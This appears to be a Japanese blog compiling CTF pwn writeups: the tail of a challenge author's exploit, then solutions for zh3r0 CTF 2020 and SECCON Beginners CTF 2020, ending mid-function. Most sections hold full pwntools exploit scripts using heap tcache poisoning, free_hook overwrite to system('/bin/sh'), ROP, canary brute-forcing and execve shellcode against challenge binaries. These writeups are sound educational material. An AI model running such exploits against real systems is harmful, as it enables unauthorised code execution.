            print("**** {} st try ****".format(hex(try_count)))
            if sys.argv[1][0] == "r":
                c = remote(rhp1["host"],rhp1["port"])
            else:
                c = remote(rhp3["host"],rhp3["port"])
            if exploit()==False:
              print("----- {} st try FAILED: {} sec\n".format(hex(try_count),time.time()-lap_time))
              continue
            else:
                print("----- {} st try SUCCESS: {} sec (total)".format(hex(try_count),time.time()-start_time))
                if len(sys.argv) > 2 :      # check success rate
                    print("\n***** NOW SUCCESS NUM: {} ******\n".format(hex(total_success + 1)))
                    total_try += try_count
                    try_count = 0
                    total_success += 1
                    start_time = time.time()
                    if total_success >= 0x10:
                        print("\n\n\nTotal {} Success in {} Try. Total Time: {} sec\n\n\n".format(hex(total_success),hex(total_try),time.time()-init_time))
                        exit()
                    else:
                        continue
                else:
                    c.interactive()
                    exit()

    else:
        c = remote(rhp2['host'],rhp2['port'])

    exploit()
    c.interactive()


この場合にはexploitは4bitのエントロピーを持ち、およそ14回に1回成功します。

 

f:id:smallkirby:20200713141604p:plain

rachell exploit



2: Violence Fixer: 13solves 241pts

問題概要

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled


もともとbeginner問として出題する予定で作りましたが、燃えそうなのでeasy問にしました。
偽のヒープマネージャがheapの情報を記憶し、それに基づいてsizeなりを勝手に上書きしてしまいます。 しかしこいつがかなりガバガバで、容易に実際のheapとのズレが生じます。
但しbeg問の名残として、オプションで偽のヒープマネージャが保持している情報を出力させることができます。


想定解

色々とありそうではありますが、上で説明したズレを利用して、雑にlibcbaseをleakしてfree_hook overwriteで終了です。

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys
import time

FILENAME = "../dist/violence-fixer"
LIBCNAME = "../dist/libc.so.6"

hosts = ("test","localhost","localhost")
ports = (32112,12300,32112)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

def hoge(ix):
  c.recvuntil("> ")
  c.sendline(str(ix))

def alloc(size,content):
  hoge(1)
  c.recvuntil("size: ")
  c.sendline(str(size))
  c.recvuntil("content: ")
  c.send(content)

def show(index):
  hoge(2)
  c.recvuntil("index: ")
  c.sendline(str(index))

def free(index):
  hoge(3)
  c.recvuntil("index: ")
  c.sendline(str(index))

def get_value(index):
  hoge(4)
  for i in range(index):
    c.recvuntil("INUSE")
  c.recvuntil("INUSE\n ")
  return c.recv(8)

def delegate(size,content):
  hoge(0)
  c.recvuntil("> ")
  c.sendline('y')
  c.recvuntil("size: ")
  c.sendline(str(size))
  c.recvuntil("content: ")
  c.send(content)

## exploit ###########################################

def exploit():
  global c
  c.recvuntil("?: ")
  c.sendline("y")

  # prepare
  alloc(0x200,"1"*0x30)
  alloc(0x200,"2"*0x30)
  alloc(0x200,"3"*0x30)
  alloc(0x200,"4"*0x30)
  alloc(0xa0,"5"*0x30)
  alloc(0x200,"4"*0x30)
  alloc(0x1e0,"4"*0x30)
  alloc(0x1e0,"4"*0x30) # TARGET
  alloc(0x1e0,"5"*0x30)
  alloc(0x1e0,p64(0x21)*(0x1e0//8))
  alloc(0x1e0,"7"*0x10)
  alloc(0xc0,"8"*0x10)
  alloc(0x10,"9"*0x10)

  # leak libcbase
  free(1)
  free(2)
  free(3)
  free(4)
  free(5)
  alloc(0x60,p8(0)*0x30 + p64(0) + p64(0x481))
  free(7)
  for i in range(4):
    alloc(0x10,p8(1))
  alloc(0x160,"A"*0x160)

  show(7)
  c.recvuntil("A"*0x160)
  libcbase = unpack(c.recvline().rstrip().ljust(8,'\x00')) - 0x1ebbe0
  print("[+]libcbase: "+hex(libcbase))

  # tcache duplicate
  alloc(0x1f0,p8(0))
  alloc(0x80,p8(0)) 

  alloc(0x60,"1"*0x8) 
  alloc(0x50,"/bin/sh;\x00")
  alloc(0x50,"3"*0x8)
  alloc(0x20,"4"*0x8)
  alloc(0x20,"5"*0x8)
  alloc(0x20,"6"*0x8)
  alloc(0x20,"7"*0x8) # 
  free(0xf)
  free(0x13)
  free(0x15)
  alloc(0x130,p64(0)+p64(0x31)+"A"*0x80+p64(0)+p64(0x31)+p64(libcbase + libc.symbols["__free_hook"]))
  alloc(0x20,p8(0))
  delegate(0x20,p64(libcbase+libc.symbols["system"]))

  free(0x10)
  return

## main ##############################################

if __name__ == "__main__":
    global c
    start_time = time.time()
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])

    exploit()
    print("\n\n[!] exploit success: {} sec\n\n".format(time.time()-start_time))
    c.interactive()

f:id:smallkirby:20200713141628p:plain

violence-fixer exploit



3: Karte: 6solves 341pts

moraさんと一緒に作った問題です。PoCはmoraさんのgistにあります。

https://gist.github.com/moratorium08/a1daa601b0785981c97b08f777a3da59

 


libc2.31で動いているので、いい感じにいい感じします。

 

4: 全体

ルフレビューが甘々でした。また、互いのレビューをする際にも、もっと時間に余裕を持って多方面から行うべきでした。
beginner問は、SECCONでかなり好評のものが出たので、今後beginner問を自称する際にはあのくらいのやつを出さないといけないのかもしれませんね。
(但し、個人的には本当にどこから手を付けていいかわからない人はハリネズミ本+坂井さんのリンカローダ本を読んでpico/xyzをやるべきだとは思います)

また、問題セットが若干偏っていた感じがあります。pwnはbeg*1, heap*3, 言語問*1, その他*1でした。kernel問を入れて、heap問を1問退場させればもうちょいいい感じになったんじゃないかと思います。

時間的には、pwnに関して言うと24hで十分だったんじゃないかと思います。事実、トップチームは最初の12h以内にpwnを全完して暇そうだったので。miscが多い感もあったと思いますが、今日は随分晴れています。

一番の反省点は、自分自身がそもそもにpwn雑魚なのに作問なんかしようと思い上がったことですね。
pwn雑魚が作った問題は、例外なくクソ問になります。問題を作るのならば、まずは自分自身がいい加減beginnerレベルを卒業できるくらいには強くならなくちゃいけないと痛感しました。
時間を見つけて、pwnを勉強しつつ問題を作り溜めていこうと思います。

5: アウトロ

反省点ばかりでした。少しでもboringに感じた方はすいませんでした。勉強しときます。







続く...







【pwn 30.0】zh3r0 CTF 2020 - writeup

 

 

 

 

 

7: イントロ

最近レポートに殺されていた(同時にレポートを殺していた)ためCTFに参加できていなかったが

夜11時にふと思い立って適当に今建っている野良CTFに参加することにした

参加したのは zh3r0 CTF 2020 (インドのCTF?)

やっぱ一人だと詰まったところで悶々として壁を殴るしかできないため、殴る用の壁を買おうと思う

 

 

 

921:  Snakes Everywhere (rev)

pwnが3問しか出ていない時に消化不良だったため解いたRev問

状況

pythonのディスアセンブルコード(もとのコードは本物のFlagを暗号化してる)と暗号化されたデータファイルが渡されている

解法

普通にpythonのディスアセンブルコードを読んで、それと逆のことをするプログラムを書いて暗号化データをデコードすればいい

exploit
def xor(str1,str2):
    return chr(ord(str1) ^ ord(str2))

flag = ""
len_flag = 38
key = "I_l0v3_r3v3r51ng"

with open("./snake.txt","rb") as f:
    cipher = f.read()


for i in range(len_flag+63,63+len(key)//2,-1):
    flag += xor(chr(cipher[i]),key[i%16])

for i in range(len_flag//3*2+63,63+len_flag//3-1):
    flag += chr(cipher[i] // ord(key[i%len(key)] + i))
    print("*")

print(flag)

'''
# original code
def xor(str1,str2):
    return chr(ord(str1) ^ ord(str2))


# file length == 38(0x26)
flag = "zh3r0{fake flag}"
key = "I_l0v3r3v3r51ng"

if len(flag) == 38:
    print("ERROR")
    exit()

ciphertext = ""

for i in range(len(flag)//3):
    ciphertext += chr(ord(flag[i])*ord(key[i]))

for i in range(len(flag)//3,len(flag)//3*2):
    ciphertext += chr(ord(flag[i]) * ord(key[i%len(key)] + i)

for i in range((len(key)//2,len(flag)):
    ciphertext += xor(key[i%16],flag[i])

'''

 未完成なまま動かしたら殆どデコードできたから後は脳内補完した

zh3r0{python_disass3mbly_is v3ry_E4sy}

 

 

1: FreeFlag

状況

win()関数あり、StackOverflowあり。指を動かすカロリーのみが必要

exploit
#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"
LIBCNAME = ""

#hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
hosts = ("us.pwn.zh3r0.ml","localhost","localhost")
ports = (3456,12900,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

win = 0x400707

def hoge():
    pass

## exploit ###########################################

def exploit():
  global c

  c.recvuntil("name: ")
  raw_input("OK")
  c.send("A"*0x28+p64(win+1))


## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 zh3r0{welcome_to_zh3r0_ctf}

 

46: Command 1

状況

バイナリ読んでないからわからん

exploit

Add: hoge

Edit: 0->sh

Run: 0

これでflagが取れる。残念な非想定解が存在した問題(レビュー時に気づかないのがちょっと不思議)

 

zh3r0{the_intended_sol_useoverflow_change_nextpointer_toFakechunk_in_bssname}

一瞬flagで笑わせに来てるのかと思った

想定解をflagに入れると、非想定解があったときにクソださくなるからやめようと思った

 

-32: Help

状況
./chall2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8706cc0104f816cb54565b44b7bcbb07bda87ac8, not stripped
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

 

冗長すぎるバイナリが配布される。これは何か妙技があるのかと思ったら、ただ冗長だった

.bssの指定の場所に一度のみ自由に書き込みできる

18byte stack overflowがある

 解法

まずはlibcbaseをleakする

 pop rdi gadgetを用いてgot[setvbuf]をrdiに積んだ後、main関数中のcall putsの直前に飛ぶようにROPする

puts()でlibc leakをしたあとも普通に2回目のmain関数は続きread()をする

2回目のmainにreturnする際にRSPは2回目のreadでgot[setvbuf]+0x20に対してreadをすることになるから、前述のROPの際FBPの場所に.bssセクションのアドレスを上書きし、.bssにはgot[setvbuf]+0x20のアドレスを書き込んでおき、onegadgetでGOT overwrite

最後に2回目のreturnをするところで、.bssに仕込んでおいたplt[setvbuf]にreturnして終了

exploit
censored

zh3r0{thanks_somuch_for_helping_my_friend____btw_please_DM_me_what_solution_did_you_use}

 

73.91: Command2

状況

double freeできるのでtcache poisoningして終わり

exploit
#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"
LIBCNAME = "./libc.so.6"

#hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
ports = (7530,12900,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################


def hoge(ix):
    global c
    c.recvuntil("> ")
    c.sendline(str(ix))

def _add(command,size,description):
    global c
    hoge(1)
    c.recvline()
    c.recvuntil("> ")
    print("********::")
    c.send(command)
    c.recvline()
    c.send(str(size))
    c.recvline()
    c.send(description)

def _run(command,ix):
    hoge(2)

def _del(ix):
    hoge(4)
    c.recvuntil("index: ")
    c.sendline(str(ix))

def _show(ix):
    hoge(5)
    c.recvuntil("index")
    c.sendline(str(ix))

## exploit ###########################################

def exploit():
  global c

  _add("A"*0x18,0x600,"B"*0x600)
  _add("C"*0x18,0x38,"D"*0x38)
  print("[+] created two command")
  print("sleeping...")
  sleep(2)
  _show(1)
  print("[+] showed")
  c.recvuntil("C"*0x18)
  heapbase = unpack(c.recvline().rstrip()[:-1].ljust(8,'\x00')) - 0x950-0x1f0+0x200+0x70
  print("heap: "+hex(heapbase))
  c.recvline()

  _add(p64(0x41)*3,0x38,"F"*0x38)
  _del(1)
  _del(1)
  _del(0)

  #_add(p64(1)+"\n",0x38,p64(heapbase+0x50))
  _add(p64(heapbase+0x260)+"\n",0x58,"E"*0x8)
  _show(3)
  c.recvuntil("E"*0x8)
  libcbase = unpack(c.recv(6).ljust(8,'\x00')) - 0x3ec110
  print("libcbase: "+hex(libcbase))


  ogs = [0x4f2c5,0x4f322,0x10a38c]

  _add("E"*0x18,0x38,p64(libcbase+libc.symbols["__free_hook"]))
  _add("/bin/sh;\n",0x38,"E"*8)
  _add("/bin/sh;\n",0x38,p64(libcbase+libc.symbols["system"]))

  hoge(4)
  c.recvuntil("index: ")
  c.sendline(str(5))

## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 

zh3r0{don't_let_heap_pwn_killed_dmmeyoursol}

 

 

1.3e+9: Blind

状況

バイナリが与えられていないblind pwn

blind pwnと言えばFSAでelfbase求めてなんたらみたいなのが多い気がしているが、本問ではlibcbase(みたいなもの。そうとは言われてない)が最初から与えられている

一度だけ入力を求められ、大量に入力すると以下のようになる

f:id:smallkirby:20200617235606p:plain

Core dumpedとは表示されているが明らかに本物のコアダンプではないため、自前のカナリアを飼っているものと考えられる

解法

ここらでTSGのsandboxで愚痴を言っていたところ

卍うにしいず卍さんがささっとカナリアを求めてくれたため、それを使ってret2libcで終了

(頭がついていなかったため 256^8 回のbrute-forceが必要かと思ってしまっていたが 256*8 回で良かった)

(coredumpが0x24以上からであり、8byte alignされていないの気持ち悪いなと思っていたら、カナリアのあとに0x4byte埋める必要があった)

exploit
#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = ""
LIBCNAME = "../help/libc.so.6"

hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
ports = (3248,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
#binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

def hoge():
  pass

## exploit ###########################################

def exploit(canary,num):
  global c

  with open("test.txt","w") as f:
      f.write("A"*0x20000)

  ogs = [0x4f2c5,0x4f322,0x10a38c]
  tro = "🏆"
  medal = "🥇"

  c.recvuntil("->")
  c.sendline("yes")
  #c.send("yes"+"A"*0x10)
  c.recvuntil("->")
  c.sendline("yes")

  c.recvuntil("-> ")
  libcbase = int(c.recvline().rstrip(),16)
  #print("libcbase: "+hex(libcbase))

  c.recvuntil("->")
  c.send(medal*0x24 + canary + p8(num))

  if "Core" in c.recv(4):
    return False
  else:
    return True

def exploit2():
  global c

  with open("test.txt","w") as f:
      f.write("A"*0x20000)

  ogs = [0x4f2c5,0x4f322,0x10a38c]
  tro = "🏆"
  medal = "🥇"

  c.recvuntil("->")
  c.sendline("yes")
  #c.send("yes"+"A"*0x10)
  c.recvuntil("->")
  c.sendline("yes")

  c.recvuntil("-> ")
  libcbase = int(c.recvline().rstrip(),16)

  c.recvuntil("->")
  canary = '\xc1\x16\x8b\x99\x91\x9b\x1a\x31'
  c.send(tro*(0x24//4) + canary + "A"*4 + p64(libcbase+ogs[2])*0x2)
  return


## main ##############################################

if __name__ == "__main__":
    global c
    canary = ""

    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
      elif sys.argv[1][0]=="j":
        c = remote(rhp1["host"],rhp1["port"])
        exploit2()
        c.interactive()
    else:
        c = remote(rhp2['host'],rhp2['port'])

 

zh3r0{Be_awareof_static_stack_cookie_}

-3.141592: \x32\x64

唯一長時間かけた問題

 

なんか途中で32bit modeになってスタックポインタがイカれるため

mprotect()で.bssセクションをexecutableにして

そこにpushを使わないシェルコードをぶち込んでおくという問題

 

但し一番焦ったのはflagを提出した気になって提出をしていなかったこと

しかもtmpディレクトリで作業していたため、解き終わった後にexploitを消してしまうという失態を犯した。まぁ上位を狙ってるわけでもないしflagを通さなくてもいいやということで放置した

 

 

 

 

 #!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"
LIBCNAME = ""

#hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
ports = (9653,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################


def hoge():
    pass

## exploit ###########################################

def exploit():
  global c
  addr_main = 0x400130
  addr_bss = 0x600000

  c.recvuntil("name: ")
  # mprotect(addr_bss,0x1000,7)でbssをexecutableにする
  # rdiにはreadの返り値として0x7dを入れて0x4000e8でraxにmov
  c.send(p64(addr_bss)+p64(0x7)+p64(addr_bss)+p64(0xff)+p64(0)+p32(0x4000e8))
  c.recvuntil(": ")
  # executableにした後でexecve("/bin/sh")
  shellcode = asm("mov eax,0xb")
  shellcode += asm("mov ebx,{}".format(hex(addr_bss+0x4)))
  shellcode += asm("mov ecx,0")
  shellcode += asm("mov edx,0")
  shellcode += asm("int 0x80")
  pay = p32(addr_bss+0xc)+"/bin/sh\x00"+shellcode
  pay += "\xc9"*(0x7d-len(pay))
  c.send(pay)



## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 

zh3r0{is_it_32bit_or_64bit} 

 

9: armpw

ARM問っぽかったのでバイナリを見ることさえしませんでした。完

 

 

92: アウトロ

見出しのところの見出し番号、別に自然数順にする必要ないなぁと思って小数負数ありの適当な順番で組んでみたんですが、やっぱ見にくいですね

数字は整列した整数に限ります

 

 

自宅にGが出たら発狂するくらい嫌なのに

他人の家に出たら何であんなにテンション上がるんだろうなぁ

 

 

 

 

 

 

 

続く............

 

 

 

 

 

【pwn 29.0】SECCON Beginners CTF2020: writeup供養

 

keywords

GOT exploit / sophisticated beginners chall / FSA / NULL-overflow to invoke consolidation

 

 

 

 

1: イントロ

いつぞや開催された SECCON Beginners CTF 2020

競技中はあまり関与せず、molec0n CTFを眺めたり(眺めるだけ)、課題レポートをやったりしていましたが、終了後に全て解きました

折角なのでwriteupを供養します

 

 

 

2: Beginner's Heap

Point

めちゃめちゃ良い教材だと思います、1年前に出会いたかった...

 

概要

libc2.29におけるtcacheの問題

指示されたとおりにやっていればflagが貰えるようになっている

 

 

exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys


rhp1 = {'host':"bh.quals.beginners.seccon.jp",'port':9002} #for actual server
rhp2 = {'host':"localhost",'port':12300} #for localhost 
rhp3 = {'host':"",'port':23947} #for localhost running on docker
context(os='linux',arch='amd64')

def exploit(conn):
  conn.recvuntil("free_hook>: ")
  freehook = int(conn.recvline().rstrip(),16)
  conn.recvuntil("win>: ")
  win = int(conn.recvline().rstrip(),16)
  conn.recvuntil("hint")

  print("win: "+hex(win))
  print("freehook: "+hex(freehook))

  conn.recvuntil("> ")
  conn.sendline("2")
  conn.sendline("A"*8)
  
  conn.recvuntil("> ")
  conn.sendline("3")

  conn.recvuntil("> ")
  conn.sendline("1")
  conn.send("A"*0x3*0x8 + p64(0x21) + p64(freehook))

  conn.recvuntil("> ")
  conn.sendline("2")
  conn.sendline("hoge")

  conn.recvuntil("> ")
  conn.sendline("1")
  conn.send("A"*0x18 + p64(0x31))

  conn.recvuntil("> ")
  conn.sendline("3")

  conn.recvuntil("> ")
  conn.sendline("2")
  conn.send(p64(win))

  conn.recvuntil("> ")
  conn.sendline("3")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
  elif sys.argv[1][0]=="v":
    conn = remote(rhp3["host"],rhp3["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

 

3: Elementary Stack

問題概要

自明なOOBがありheapへのポインタを書換えてGOT overwrite

 

point

got[atol]を直接書き換えると引数も渡せないし、そもそも次のatol()で死ぬため1個上のgot[malloc]を書き換える

あとは FSA で libcbase を leak して終わり

 

exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "chall"

rhp1 = {'host':"es.quals.beginners.seccon.jp",'port':9003} #for actual server
rhp2 = {'host':"localhost",'port':12800} #for localhost 
rhp3 = {'host':"",'port':23947} #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF("./libc-2.27.so")

def hoge(conn,ix,val):
  conn.recvuntil("index: ")
  conn.sendline(str(ix))
  conn.recvuntil("value: ")
  conn.sendline(str(val))


def fuga(conn,ix,val,piyo=True):
  conn.recvuntil("index: ")
  conn.send(ix)
  if piyo:
    conn.recvuntil("value: ")
    conn.send(val)

off_system = 0x4f440

def exploit(conn):
  hoge(conn,-2,binf.got["malloc"]) # bufferをgot:mallocに向ける(使用するgotに向けるとそいつが呼び出せなくなるから注意)
  fuga(conn,p64(0xaaaa)+p64(binf.plt["printf"]),"%25$p\n") # atolをprintfにしたあと、atol("%25$p")でlibcbase leak
  
  libcbase = int(conn.recvline(),16) - 0x21b97
  
  fuga(conn,p64(0xaaaa)+p64(libcbase + off_system), "/bin/sh\0")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
  elif sys.argv[1][0]=="v":
    conn = remote(rhp3["host"],rhp3["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

4: ChildHeap

問題概要

- double free可能(libc2.29だから死ぬけど)

- 任意size malloc可能

- ユーザ側で保持できるchunkは一つ

- NULL overflow

- chunkをfree()するかfloat状態にさせておくかは自由

 

point

libc 2.29の誘導なしheap問

但しやることは突飛なことはないが、chunkが一つしか保持できないため若干面倒

まずNULL overflowを利用してtcacheのsizeを0x100に変えていきtcache[0x100]を溢れさせる

その途中でtcacheのfdを読んでheapbaseをleakしておく

 

あとはいい感じに chunk forge して back consolidationoverlapped chunk を作って

libcbase leak と freehook overwrite をする

 

ここらへんは正直メモリを眺めながら何となくでexploitを書いていればできるため、上手く説明のしようがないが

このあとのexploitでにおいて 「Fig.x」としてある状態のヒープのイメージ図を以下に用意した

 

f:id:smallkirby:20200525203103p:plain

Fig.1

f:id:smallkirby:20200525203121p:plain

Fig.2

f:id:smallkirby:20200525203136p:plain

Fig.3

f:id:smallkirby:20200525203149p:plain

Fig.4

 

exploit

自分の書いたPoCでは割と回りくどいことをしていたため、解き直して作問者様のPoCに寄せた

Fig.1~4と書いてある時点のヒープレイアウトが上の画像に対応している

 

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./childheap"

rhp1 = {'host':"childheap.quals.beginners.seccon.jp",'port':22476} #for actual server
rhp2 = {'host':"localhost",'port':12500} #for localhost 
rhp3 = {'host':"localhost",'port':23947} #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF("./libc-2.29.so")

ogs = [0xe237f,0xe2383,0xe2386,0x106ef8]

def hoge(conn,ix):
  conn.recvuntil("> ")
  conn.sendline(str(ix))

def alloc(conn,size,content):
  hoge(conn,1)
  conn.recvuntil("Size: ")
  conn.sendline(str(size))
  conn.recvuntil("Content: ")
  conn.send(content)

def delete(conn,yesno=True):
  hoge(conn,2)
  conn.recvuntil("Content: '")
  data = conn.recvuntil("'")[:-1]
  conn.recvuntil("] ")
  if yesno:
    conn.sendline("y")
  else:
    conn.sendline("n")
  return data

def wipe(conn):
  hoge(conn,3)

def de(conn):
  delete(conn)
  wipe(conn)

def ade(conn,size,overflow=False):
  a = "A"*size if overflow else "A"*(size-0x8)
  alloc(conn,size,a)
  de(conn)

def aw(conn,size,overflow=False): # without delete
  a = "A"*size if overflow else "A"*(size-0x8)
  alloc(conn,size,a)
  wipe(conn)

off_libc = 0x1e4e90
off_freehook = 0x1e75a8
off_system = 0x52fd0

def exploit(conn):
  ssize = 0x18#0x28
  msize = 0xf8
  lsize = 0x108#0x128

  ## fulfill tcache
  ade(conn,msize)
  for i in range(0x5):
    ade(conn,ssize)
    ade(conn,lsize)
    aw(conn,ssize,True)
    ade(conn,lsize)
      # now tcache has 6 chunks, 5 of them have fake size

  ## leak heap addr
  alloc(conn,msize,"A"*8)
  delete(conn)
  heapbase = unpack(delete(conn,False).ljust(8,'\x00'))-0x710
  print("heapbase: "+hex(heapbase))
  wipe(conn)


  ## forge fake chunk
  fake1 = "B" * 0x30
  fake1 += p64(heapbase + 0x9b0) + p64(heapbase + 0x9b0)
  fake2 = p64(0) + p64(0x100)
  fake2 += p64(heapbase + 0x990) + p64(heapbase + 0x990)
  ade(conn,ssize)
  ade(conn,lsize)
  aw(conn,ssize,True)
  alloc(conn,lsize,fake1+fake2) 
  de(conn)
  print("Fig.1")
                  # tcache[0x100] is full

  ade(conn,ssize+0x20)
  ade(conn,lsize)
  alloc(conn,ssize+0x10,(p64(0)+p64(ssize+0x8+1))*2)
  wipe(conn)
  alloc(conn,ssize+0x20,"C"*(ssize-0x8+0x20)+p64(0x100)) # null overflow
  de(conn)
  print("Fig.2")

  alloc(conn,lsize,(p64(0)+p64(0x21))*0x10)
  print("Fig.3")
  de(conn) # consolidate
  print("Fig.4")

  ## leak libcbase
  alloc(conn,0,"")
  libcbase = unpack(delete(conn,False).ljust(8,'\x00')) - off_libc
  print("libcbase: "+hex(libcbase)) 
  de(conn)

  ## 
  print("free_hook: "+hex(libcbase+off_freehook))
  inj = "D"*0xa0
  inj += p64(libcbase + off_freehook)
  inj += p64(heapbase + 0x10)
  alloc(conn,0x128,inj) # overwrite tcache[ssize+0x20]'s fd
  wipe(conn)
  alloc(conn,ssize+0x20,"G"*8) #
  wipe(conn)
  alloc(conn,ssize+0x20,p64(libcbase + off_system)) # overwrite free_hook
  wipe(conn)

  alloc(conn,0x70,"/bin/sh\x00")
  delete(conn,True)



if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
  elif sys.argv[1][0]=="v":
    conn = remote(rhp3["host"],rhp3["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

 

5: flip

問題概要

一番難しかった

終わってみれば若干の工夫こそ必要なもののやったことは複雑じゃないのに

何故か解くまでにめちゃくちゃ時間がかかった

というかGOT問が苦手なのかもしれない

 

point

- GOT overwrite (setbuf->puts)

- 相対書換え

got[_stack_chk_fail] と got[exit] の書換えを上手く使いわけて、setbufが呼ばれるループ・呼ばれないループを作り上げる

なお終盤まで flip 操作を暗算で行おうとしていたため、脳が死亡した

 

exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "flip"

rhp1 = {'host':"flip.quals.beginners.seccon.jp",'port':17539} #for actual server
rhp2 = {'host':"localhost",'port':12500} #for localhost 
rhp3 = {'host':"",'port':23947} #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF("./libc-2.27.so")

ogs = [0x4f2c5,0x4f322,0x10a38c]

def hoge(conn,target,n1,n2):
  conn.recvuntil(">> ")
  conn.sendline(str(target))
  conn.recvuntil(">> ")
  conn.sendline(str(n1))
  conn.recvuntil(">> ")
  conn.sendline(str(n2))

def fuga(conn,target,_from,_to):
  diff = _from ^ _to
  nums = []
  tmp = -10
  for i,c in enumerate(bin(diff)[2:][::-1]):
    if c=='1':
      nums = nums + [i]
  print(nums)

  while len(nums)>0:
